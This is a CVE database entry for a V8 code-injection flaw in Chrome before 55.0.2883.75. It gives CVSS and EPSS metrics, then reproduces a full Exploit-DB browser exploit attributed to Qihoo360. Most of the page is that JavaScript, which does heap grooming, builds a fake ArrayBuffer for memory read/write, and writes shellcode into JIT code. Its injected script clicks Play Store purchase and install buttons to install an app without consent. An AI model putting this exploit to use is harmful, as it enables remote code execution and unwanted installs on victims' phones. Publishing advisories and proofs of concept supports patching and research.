CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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Search : CVE id, CWE id, CAPEC id, vendor or keywords in CVE
A missing check for whether a property of a JS object is private in V8 in Google Chrome prior to 55.0.2883.75 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page.
Improper Control of Generation of Code ('Code Injection') The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V3.0
8.8
HIGH
CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
More informations
Base: Exploitabilty Metrics
The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.
Attack Vector
This metric reflects the context by which vulnerability exploitation is possible.
Network
A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).
Attack Complexity
This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.
Low
Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.
Privileges Required
This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.
None
The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.
User Interaction
This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.
Required
Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.
Base: Scope Metrics
An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.
Scope
Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.
Unchanged
An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.
Base: Impact Metrics
The Impact metrics refer to the properties of the impacted component.
Confidentiality Impact
This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.
High
There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.
Integrity Impact
This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.
High
There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.
Availability Impact
This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.
High
There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).
Temporal Metrics
The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.
Environmental Metrics
nvd@nist.gov
V2
6.8
AV:N/AC:M/Au:N/C:P/I:P/A:P
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
17.09%
–
–
2022-04-03
–
–
17.09%
–
–
2023-03-12
–
–
–
13.62%
–
2023-11-12
–
–
–
23.46%
–
2024-01-07
–
–
–
23.56%
–
2024-06-02
–
–
–
23.56%
–
2024-11-24
–
–
–
31.02%
–
2024-12-22
–
–
–
36.9%
–
2025-01-19
–
–
–
36.9%
–
2025-03-18
–
–
–
–
44.96%
2025-03-18
–
–
–
–
44.96,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Publication date : 2017-06-13 22h00 +00:00 Author : Qihoo360 EDB Verified : No
<html>
// Source: https://github.com/secmob/pwnfest2016/
<script>
function exploit(){
function to_hex(num){
return (num>>>0).toString(16);
}
function intarray_to_double(int_arr){
var uBuf = new Uint32Array(2);
var dBuf = new Float64Array(uBuf.buffer);
uBuf[0]=int_arr[0];
uBuf[1]=int_arr[1];
return dBuf[0];
}
function str_to_double(str){//leng of str must be 8
var dBuf = new Float64Array(1);
var u8Buf = new Uint8Array(dBuf.buffer);
for(var i=0;i<str.length;i++){
u8Buf[i] = str.charCodeAt(i);
}
return dBuf[0];
}
function double_to_array(value){
var uBuf = new Uint32Array(2);
var dBuf = new Float64Array(uBuf.buffer);
dBuf[0]=value;
return uBuf;
}
function gc(){
for(var i=0;i<0x100000/16;i++){
new String;
}
}
function getHiddenValue(){
var obj = {};
var oob = "/re/";
//oob = oob.replace("re","*".repeat(0x2000));
oob = oob.replace("re","*".repeat(0x100000));
var str = 'class x extends Array{'+oob+"}";
var fun = eval(str);
Object.assign(obj,fun);
return obj;
}
var obWin;
function makeOobString(){
var hiddenValue = getHiddenValue();
var magicStr = "bbbb";
var arr=[];
var str = 'class x extends Array{}';
for(var i=0;i<str.length;i++){
arr[i]=str.charCodeAt(i);
}
var ob = new Array(0x200);
ob.fill(0x31313131);
gc();
gc();
str=String.fromCharCode.apply(null,arr);
ob=ob.concat(0x32323232);
var fun = eval(str);
ob[2]=str;
ob[3]=ob;
Object.assign(fun,hiddenValue);
var oobString = fun.toString();
gc();
gc();
print("begin search");
var subStr = oobString.substr(0,0x8000);
var pos = subStr.indexOf(magicStr);
print("end search");
if(pos==-1){
print("find magic failed");
postMessage(false);
self.close();
print("unpossible");
throw "error";
}else{
print("find magic at "+pos);
}
oobString = oobString.substr(pos,ob.length*4);
obWin=ob;
return oobString;
}
var oobString = makeOobString();
print("get oob string successfully");
function print(){
console.log.apply(null,arguments);
/*document.write('<p >');
document.write.apply(document,arguments);
document.write("<p>");*/
}
function str2arr(str,len){//len must be multile of 4
if(len===undefined)
len = str.length;
var u8a = new Uint8Array(len);
for(var i=0;i<len;i++){
u8a[i] = str.charCodeAt(i);
}
return new Uint32Array(u8a.buffer);
}
function pArrayInHex(arr){
var result="<p style='font-size:8px'>";
for(var i=0;i<arr.length;i++){
result+=(arr[i]+0x100000000).toString(16).substr(-8);
result+=" ";
if(i%8==7)
result+="<p style='font-size:8px'>";
}
result+="<p>";
print(result);
//alert(result);
return result;
}
function pStrInHex(str){
//var result="<p style='font-size:8px'>";
var result="\n";
for(var i=0;i<str.length;i++){
var code = str.charCodeAt(i);
result+=(code+0x100).toString(16).substr(-2);
if(i%4==3)
result+=" ";
if(i%32==31)
// result+="<p style='font-size:8px'>";
result+="\n";
}
// result+="<p>";
result+="\n";
print(result);
return result;
}
function getObjAddr(obj){
obWin[0]=obj;
var value2= ((str2arr(oobString,4))[0]);
return value2>>>0;
}
var getObj24BitsAddr = function(){
var smi=0;
var code = 0;
var i=0;
//don't allocate heap object
function getAddr(obj){
obWin[0]=obj;
value=0;
code = 0;
i=0;
for(i=2;i>=0;i--){
code = oobString.charCodeAt(i);
value = code+value*256;
}
return value;
}
return getAddr;
}();
var lengthInOldSpace = 0xfffffffc;
var abarr=new Array(800);
function sprayVM(){
var i=0;
var j=0;
try{
for(i=0;i<20;i++){
var u8 = new Uint8Array(0x10000000-0x500);
abarr[i]=u8;
}
}catch(e){}
try{
for(j=0;j<100;j++){
var u8 = new Uint8Array(0x8000000-0x500);
abarr[i+j]=u8;
}
}catch(e){}
print("allocate "+i+" 256M "+j+" 16M ")
function getRandomInt(min, max) {
min = Math.ceil(min);
max = Math.floor(max);
return Math.floor(Math.random() * (max - min)) + min;
}
delete abarr[getRandomInt(0,i)];
}
function getNewSpaceAddrs(){
/*var kMaxRegularHeapObjectSize =523776;// 507136;
var str="1".repeat(kMaxRegularHeapObjectSize-0x2000);
str+="%";*/
var objsInNewSpace = new Array(80);
for(var i=0;i<objsInNewSpace.length;i++){
//var xx=escape(str);
var xx = new Array(0x70000/4);
objsInNewSpace[i]=(getObjAddr(xx)&0xfff00000)>>>0;
//使newspace更离散
new Uint8Array(0x100000-0x500);
new Uint8Array(0x100000-0x500);
}
function compareNumbers(a, b) {
return a - b;
}
objsInNewSpace = Array.from(new Set(objsInNewSpace));
objsInNewSpace = objsInNewSpace.sort(compareNumbers);
return objsInNewSpace;
}
print("begin get new space address");
var objsInNewSpace = getNewSpaceAddrs();
while(objsInNewSpace.length<16){
objsInNewSpace = getNewSpaceAddrs();
print("new space addresses");
pArrayInHex(objsInNewSpace);
}
try{
sprayVM();
}catch(e){}
var selectedTrunk = 0;
var selectedStr = "";
function bruteForceFengShui(){
var huge_str = "x".repeat(0x100000-0x9000);//-0x9000
huge_str +="%";
var hold = new Array(100);
//var holdaddress = new Array(100);
for(var i=0;;i++){
var large = escape(huge_str);
var addr = getObjAddr(large);
//console.log(addr.toString(16) + " "+i);
if(i<hold.length){
hold[i]=large;
//holdaddress[i]=addr;
}
addr=(addr&0xfff00000)>>>0;
addr = addr-0x100000;
if(objsInNewSpace.indexOf(addr)!=-1){
selectedTrunk = addr;
selectedStr = large;
abarr.fill(1);
hold.fill(1);
//holdaddress.fill(1);
break;
}
if(i===150){
/*i=0;
print("tried 200 times");
abarr.fill(1);
try{
sprayVM();
}catch(e){};*/
postMessage(false);
close();
throw "exceed limits";
}
}
}
bruteForceFengShui();
//to avoid allocate memory latter, initilize here
var nextTrunk = selectedTrunk + 0x100000;
//生成一块足够大的可读写内存
var huge_str = "eval('');";
//8000不能太大,太大会使new_space增大
for(var i=0;i<8000;i++) huge_str += 'a.a;';
huge_str += "return 10;";
var huge_func = new Function('a',huge_str);
huge_func({});
function fillNewSpace(origObj){
//first object in new space at 0x8100, new spaces layout
//0x40000
//0x37f00
//.....
//0x40000
var gap = "g".repeat(0x37f00-12-3);//12 is head of string,3 %25
var gap = gap+"%";
//flat gap
gap.substr(0,100);
var fillstr = "%20a".repeat((0x40000-12)/4);
fillstr = escape(fillstr);
var addr=0;
for(var i=0;i<0x100;i++){
addr = getObj24BitsAddr(origObj);
if((addr&0xfffff)===0x8101)
origObj=escape(gap);
else
origObj=unescape(fillstr);
}
}
function findNewSpace(){
var kMaxRegularHeapObjectSize =523776;// 507136;
var str="1".repeat(kMaxRegularHeapObjectSize-0x2000);
str+="%";
for(var i=0;;i++){
var xx=escape(str);
var straddr = getObjAddr(xx);
addr=(straddr&0xfff00000)>>>0;
if(addr===selectedTrunk){
print("good state "+straddr.toString(16));
break;
}
}
}
function myencode(str){
var arr = [];
for(var i=0;i<str.length;i++){
if(i%2==1)
arr.push(str.charCodeAt(i));
else{
arr.push(37);//%
var hexstr = (str.charCodeAt(i)+0x100).toString(16).substr(-2);
arr.push(hexstr.charCodeAt(0));
arr.push(hexstr.charCodeAt(1));
}
}
return String.fromCharCode.apply(null,arr);
}
var dArray = [];
var index = (0x8100-36)*2;
for(var i=0;i<0x20000/8;i++){
dArray[i]=str_to_double("%03x%03x");
}
var occulen = 0;
var i = 0;
var savedChunk = new Uint8Array(0x8100);
var hiddenValue = getHiddenValue();
var arr=[];
fillNewSpace(new String);
findNewSpace();
var classStr = 'class x extends Array{}';
for(var i=0;i<classStr.length;i++){
arr[i]=classStr.charCodeAt(i);
}
var magicStr = String.fromCharCode(0x86,0x24);
classStr=String.fromCharCode.apply(null,arr);
var ab = new ArrayBuffer(0x1243);
var fun = eval(classStr);
Object.assign(fun,hiddenValue);
var oobStr = fun.toString();
/*(gdb) x/20xw 0x5600c45c array buffer layout
* 0x5600c45c: 0x4b009a9d 0x41008125 0x41008125 0x00000020
* 0x5600c46c: 0x09fda368 0x00000004 0x00000000 0x00000000
*/
//overwrite huge string as array buffer
var abLengthIndex = oobStr.indexOf(magicStr);
var strArrayBuffer = oobStr.substr(abLengthIndex-12,32);
//replace the byteLength
var LengthAddr = getObjAddr(lengthInOldSpace);
var strLength = String.fromCharCode(0xff&LengthAddr,(0xff00&LengthAddr)>>8,(0xff0000&LengthAddr)>>16,(0xff000000&LengthAddr)>>24);
var strBase = "\x00\x00\x00\x00";
strArrayBuffer = strArrayBuffer.substr(0,12)+strLength+strBase+strArrayBuffer.substr(20,12);
strArrayBuffer = myencode(strArrayBuffer);
for(var i=0;i<strArrayBuffer.length/8;i++){
var d = strArrayBuffer.substr(i*8,8);
dArray[index/8+i] = str_to_double(d);
}
var classStrAddr = getObjAddr(classStr)>>>0;
//set read position
var readOffset = 0x100000-((classStrAddr-1)&0xfffff)-12-0x40000;//12 string head
//length control the length of unscaped string, generated string has 12 bytes head
//left 0x1000*2 bytes to avoid gc
var subOobStr = oobStr.substr(readOffset,0x40000-24-0x2000);
//save the the chunk head to be corrupted
var nextThunkOffset = 0x100000-((classStrAddr-1)&0xfffff)-12;
var savedThunkStr = oobStr.substr(nextThunkOffset,0x8100);
for(var i =0;i<savedThunkStr.length;i++){
savedChunk[i] = savedThunkStr.charCodeAt(i);
}
var pos1=new String;
var pos1addr = getObj24BitsAddr(pos1)-1;
//0x10 size of JSArray, 0x10 size of String head, 8 ALLOCATION_MEMENTO_TYPE 8 fixedarray
occulen =0x100000-((pos1addr+0x10+0x10+0x8+0x8)&0xfffff);
//minus the length of double array
if(occulen<0x40000+16+8)
throw "no enough room";
occulen = occulen - 0x40000-16-8;//16 size of JSArray, 8 fixedarray
if(occulen%4!==0)
throw "length don't align";
var arrocc=new Array((occulen/4));
//set unescape write position
var occDoubleArray = dArray.concat();
var b=unescape(subOobStr);
//restore the corrupted chunk head
var u8 = new Uint8Array(selectedStr,nextTrunk,0x8100);
for(var i=0;i<savedChunk.length;i++){
u8[i] = savedChunk[i];
}
print("long string allocated at "+classStrAddr.toString(16));
if(typeof(selectedStr)==="string"){
print("overwrite failed");
postMessage(false);
close();
return;
//throw "overwrite failed";
}
var fakeab = selectedStr;
print("faked array buffer byte length is "+fakeab.byteLength.toString(16));
var globaldv = new Uint32Array(fakeab);
function read_uint32(from_address){
var u32 = globaldv[(from_address/4)>>>0];
return u32>>>0;
}
function read_uint8(from_address){
from_address = from_address>>>0;
var index = (from_address/4)>>>0;
var mask = from_address%4;
var u32 = globaldv[index];
u32 = u32<<8*(3-mask);
return u32>>>24;
}
function read_uint32_unalign(from_address){
var u32 = 0;
for(var i=3;i>=0;i--){
var u8 = read_uint8(from_address+i);
u32 = u32*0x100+u8;
}
return u32>>>0;
}
//rw to execute
//get function point of v8::internal::Accessors::ReconfigureToDataProperty
function getFixedFunctionPoint(fakeab){
var FunctionAddress = getObjAddr(Function);
var u32 = new Uint32Array(fakeab,FunctionAddress-1,0x1000);
var map = u32[0];
u32 = new Uint32Array(fakeab,map-1,0x1000);
//instance descriptors
var descriptors = u32[7];
u32 = new Uint32Array(fakeab,descriptors-1,0x1000);
var lengthAccessorInfo = u32[6];
u32 = new Uint32Array(fakeab,lengthAccessorInfo-1,0x1000);
var setterForeign = u32[4];
u32 = new Uint32Array(fakeab,setterForeign-1,0x1000);
var functionPoint = u32[1];
return functionPoint-1;
}
var funPoint = getFixedFunctionPoint(fakeab);
print("ReconfigureToDataProperty at"+funPoint.toString(16));
var pattern=[0x03,0x46,0x18,0xb1,0x20,0x46,0x98,0x47,0x04,0x46];//get_elf_hwcap_from_getauxval
var point = ((funPoint&~0xfff)-0xdb6000)>>>0;//cf0000
print("chrome.apk base at "+point.toString(16));
function find(startAddr,len,pattern){
for(var i=0; i<(len-pattern.length); i++ ) {
for(var j=0;j<pattern.length;j++){
var temp = read_uint8(startAddr+i+j);
//print(temp.toString(16));
if(temp!=pattern[j]) break;
}
if(j==pattern.length) return startAddr+i;
}
print("find failed");
}
var pattern_position=find(point,0x10000000,pattern);
print("find pattern at "+to_hex(pattern_position));
function get_dest_from_blx(addr) {
var val = read_uint32_unalign(addr);
var s = (val & 0x400) >> 10;
var i1 = 1 - (((val & 0x20000000) >> 29) ^ s);
var i2 = 1 - (((val & 0x8000000) >> 27) ^ s);
var i10h = val & 0x3ff;
var i10l = (val & 0x7fe0000) >> 17;
var off = ((s * 0xff) << 24) | (i1 << 23) | (i2 << 22) | (i10h << 12) | (i10l << 2);
return ((addr + 4) & ~3) + off;
}
function backup_original_code(start_address){
var backup_arr = [];
set_access_address(start_address);
var u8arr=new Uint8Array(faked_ab);
for(var i=0;i<shellcode.length+4096;i++){
backup_arr[i]=u8arr[i];
}
return backup_arr;
}
function restore_original_code(start_address,backup_arr){
set_access_address(start_address);
var u8arr=new Uint8Array(faked_ab);
for(var i=0;i<shellcode.length+4096;i++){
u8arr[i]=backup_arr[i];
}
}
huge_func({});
print("blx instruction content is "+to_hex(read_uint32_unalign(pattern_position-4)));
var dlsym_addr = get_dest_from_blx(pattern_position-4);
print("dlsym address is "+to_hex(dlsym_addr));
var huge_func_address = getObjAddr(huge_func)-1;
print("huge func address is "+to_hex(huge_func_address));
for(var i=0;i<20;i++){
print(to_hex(read_uint32(huge_func_address+i*4)));
}
var huge_func_code_entry = read_uint32(huge_func_address+7*4);//dynamic kCodeEntryOffset 3*4
print("huge func code entry is "+to_hex(huge_func_code_entry));
print(to_hex(read_uint32(huge_func_code_entry)));
//var so_str= "";
var shellcode = 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var arrayBuffer = new ArrayBuffer(0x1000000);
var arrayBufferAddress = getObjAddr(arrayBuffer)-1;
var backingStoreAddress = read_uint32(arrayBufferAddress+4*4);
var args_address = backingStoreAddress+1024;
function write_shellcode(dlsym_addr,buffer){
//ldr r0,[pc,4]//0xe59f0004
//ldr r1,[pc,4]//0xe59f1004
//b shellcode;//0xea000001
//dlopen_addr//array_buffer_address
//dlsym_addr
//shellcode
//var stub=[0xe59f0004,0xe59f1004,0xea000001,dlsym_addr+0xc,dlsym_addr];
var stub=[0xe59f0004,0xe59f1004,0xea000001,args_address,0x1000000];
for(var i=0;i<stub.length;i++){
globaldv[buffer/4+i]=stub[i];
}
shellcode = shellcode.concat([0,0,0,0]);
for(var i=0;i<shellcode.length/4>>>0;i++){
// u8arr[i+4*stub.length]=shellcode[i];
globaldv[buffer/4+stub.length+i] = (shellcode[4*i+3]<<24)+(shellcode[4*i+2]<<16)+(shellcode[4*i+1]<<8)+(shellcode[4*i]);
}
return stub.length*4+shellcode.length;
}
function xss_code(){
//alert(navigator.userAgent);
//alert(document.cookie);
var i1=setInterval(function(){
if(!(document&&document.body&&document.body.innerHTML&&document.body.innerHTML.match(/This app is compatible/)!=null)){
console.log("wait load complete");
return;
}
clearInterval(i1);
var i2=setInterval(function(){
document.getElementsByClassName("price buy id-track-click")[0].click();
var installButton = document.getElementById("purchase-ok-button");
if(installButton == null)
return;
installButton.click();
document.write("<h1>The app will be installed shortly, Pwned by 360 Alpha Team</h1>");
clearInterval(i2);
setTimeout(function(){
window.open("intent://scan/#Intent;scheme=zxing;package=com.google.zxing.client.android;end");
},26000);
},500);
},500);
}
var js_str="\n"+xss_code.toString()+"xss_code();\n";
//var backup_arr = backup_original_code(huge_func_code_entry);
var writed_len = write_shellcode(dlsym_addr,huge_func_code_entry);
var args_view = new DataView(arrayBuffer,1024,100);
var so_file_view = new DataView(arrayBuffer,4096);
var js_view = new DataView(arrayBuffer,0x100000);
args_view.setUint32(0,dlsym_addr+0xc,true);
args_view.setUint32(4,dlsym_addr,true);
args_view.setUint32(8,huge_func_code_entry,true);
args_view.setUint32(12,writed_len,true);
args_view.setUint32(16,backingStoreAddress+4096,true);
args_view.setUint32(20,so_str.length/2,true);
args_view.setUint32(24,backingStoreAddress+0x100000,true);
args_view.setUint32(28,js_str.length,true);
print("length is "+so_str.length);
for(var i=0;i<so_str.length;i+=2){
var value = so_str.substr(i,2);
value = "0x"+value;
so_file_view.setUint8(i/2,parseInt(value));
}
for(var i=0;i<js_str.length;i++){
js_view.setUint8(i,js_str.charCodeAt(i));
}
print("begin execute shellcode");
huge_func({});
print("done");
postMessage(true);
//prevent arrayBuffer to be released
while(1){}
}
//main world
function print(){
console.log.apply(null,arguments);
document.write('<p >');
document.write.apply(document,arguments);
document.write("<p>");
}
// Build a worker from an anonymous function body
var blobURL = URL.createObjectURL( new Blob([ '(',exploit.toString(),')()' ], { type: 'application/javascript' } ) );
var worker;
var exploitSucc = false;
var count = 0;
function startExploit(){
print("worker thread is started");
worker = new Worker( blobURL );
count++;
worker.onmessage = function(e){
print("exploit result is "+e.data);
exploitSucc = e.data;
if(exploitSucc==false){
startExploit();
return;
}
var end = +new Date();
print("time diff is "+(end-begin)/1000);
//top.location='https://play.google.com/store/apps/details?id=com.google.zxing.client.android';
top.location='https://play.google.com/store/apps/details?id=com.kitkats.qrscanner';
}
}
var begin = +new Date();
startExploit();
var savedCount = 0;
var hangMonitor = setInterval(function (){
if(exploitSucc==true){
clearInterval(hangMonitor);
}else{
if(savedCount==count){//maybe hang
print("worker maybe hange");
worker.terminate();
startExploit();
}else{
print("worker is normal");
savedCount = count;
}
}
},10000);
//URL.revokeObjectURL( blobURL );
</script>
</html>
Products Mentioned
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